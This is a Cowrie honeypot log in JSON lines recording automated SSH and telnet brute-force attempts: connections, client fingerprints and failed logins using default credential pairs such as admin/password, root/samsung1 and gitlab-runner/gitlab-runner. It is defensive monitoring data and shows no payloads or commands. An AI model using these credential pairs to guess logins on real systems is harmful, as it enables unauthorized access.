{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:31.425404Z","src_ip":"192.109.200.237","session":"c077f12d8ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":49930,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3794b842f40","protocol":"ssh","message":"New connection: 103.77.175.15:49930 (159.203.135.109:22) [session: b3794b842f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:31.735580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:31.740419Z","src_ip":"103.77.175.15","session":"b3794b842f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:31.991955Z","src_ip":"103.77.175.15","session":"b3794b842f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:32.511494Z","src_ip":"192.109.200.237","session":"c077f12d8ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46254,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ffd8ef21c9","protocol":"telnet","message":"New connection: 152.42.224.71:46254 (10.17.0.5:23) [session: d4ffd8ef21c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:32.737301Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"samsung1","message":"login attempt [root/samsung1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:32.750459Z","src_ip":"103.77.175.15","session":"b3794b842f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:34.006798Z","src_ip":"103.77.175.15","session":"b3794b842f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57740,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d159e3117e6","protocol":"ssh","message":"New connection: 192.109.200.237:57740 (159.203.135.109:22) [session: 2d159e3117e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:34.377796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:34.382713Z","src_ip":"192.109.200.237","session":"2d159e3117e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:34.464639Z","src_ip":"192.109.200.237","session":"2d159e3117e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:34.708425Z","src_ip":"192.109.200.237","session":"2d159e3117e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:35.792376Z","src_ip":"192.109.200.237","session":"2d159e3117e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57744,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e5f026604b","protocol":"ssh","message":"New connection: 192.109.200.237:57744 (159.203.135.109:22) [session: c9e5f026604b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:37.758718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:37.763735Z","src_ip":"192.109.200.237","session":"c9e5f026604b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:37.846008Z","src_ip":"192.109.200.237","session":"c9e5f026604b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52842,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e5c9aae481","protocol":"telnet","message":"New connection: 152.42.224.71:52842 (10.17.0.5:23) [session: 37e5c9aae481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:38.162021Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:38.209471Z","src_ip":"192.109.200.237","session":"c9e5f026604b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:39.295416Z","src_ip":"192.109.200.237","session":"c9e5f026604b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60080,"dst_ip":"159.203.135.109","dst_port":22,"session":"8050b4286488","protocol":"ssh","message":"New connection: 192.109.200.237:60080 (159.203.135.109:22) [session: 8050b4286488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:41.307085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:41.311793Z","src_ip":"192.109.200.237","session":"8050b4286488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:41.393925Z","src_ip":"192.109.200.237","session":"8050b4286488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:41.640947Z","src_ip":"192.109.200.237","session":"8050b4286488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:42.725725Z","src_ip":"192.109.200.237","session":"8050b4286488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60096,"dst_ip":"159.203.135.109","dst_port":22,"session":"d85d05ec5bfd","protocol":"ssh","message":"New connection: 192.109.200.237:60096 (159.203.135.109:22) [session: d85d05ec5bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:44.632012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:44.635675Z","src_ip":"192.109.200.237","session":"d85d05ec5bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:44.720405Z","src_ip":"192.109.200.237","session":"d85d05ec5bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:44.965899Z","src_ip":"192.109.200.237","session":"d85d05ec5bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:46.051515Z","src_ip":"192.109.200.237","session":"d85d05ec5bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60102,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b2ef3a9c88d","protocol":"ssh","message":"New connection: 192.109.200.237:60102 (159.203.135.109:22) [session: 5b2ef3a9c88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:47.972940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:47.977021Z","src_ip":"192.109.200.237","session":"5b2ef3a9c88d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:48.059353Z","src_ip":"192.109.200.237","session":"5b2ef3a9c88d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:48.304884Z","src_ip":"192.109.200.237","session":"5b2ef3a9c88d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:49.391021Z","src_ip":"192.109.200.237","session":"5b2ef3a9c88d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36548,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0b6896c5598","protocol":"ssh","message":"New connection: 192.109.200.237:36548 (159.203.135.109:22) [session: a0b6896c5598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:51.444670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:51.449503Z","src_ip":"192.109.200.237","session":"a0b6896c5598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:51.536472Z","src_ip":"192.109.200.237","session":"a0b6896c5598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:51.784214Z","src_ip":"192.109.200.237","session":"a0b6896c5598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:52.869893Z","src_ip":"192.109.200.237","session":"a0b6896c5598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36556,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e27df545c8d","protocol":"ssh","message":"New connection: 192.109.200.237:36556 (159.203.135.109:22) [session: 3e27df545c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:54.675604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:54.680957Z","src_ip":"192.109.200.237","session":"3e27df545c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:54.764574Z","src_ip":"192.109.200.237","session":"3e27df545c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:55.011747Z","src_ip":"192.109.200.237","session":"3e27df545c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:56.097086Z","src_ip":"192.109.200.237","session":"3e27df545c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.43262195587158,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:56.698437Z","src_ip":"152.42.224.71","session":"5e418c07dd92","protocol":"telnet"}
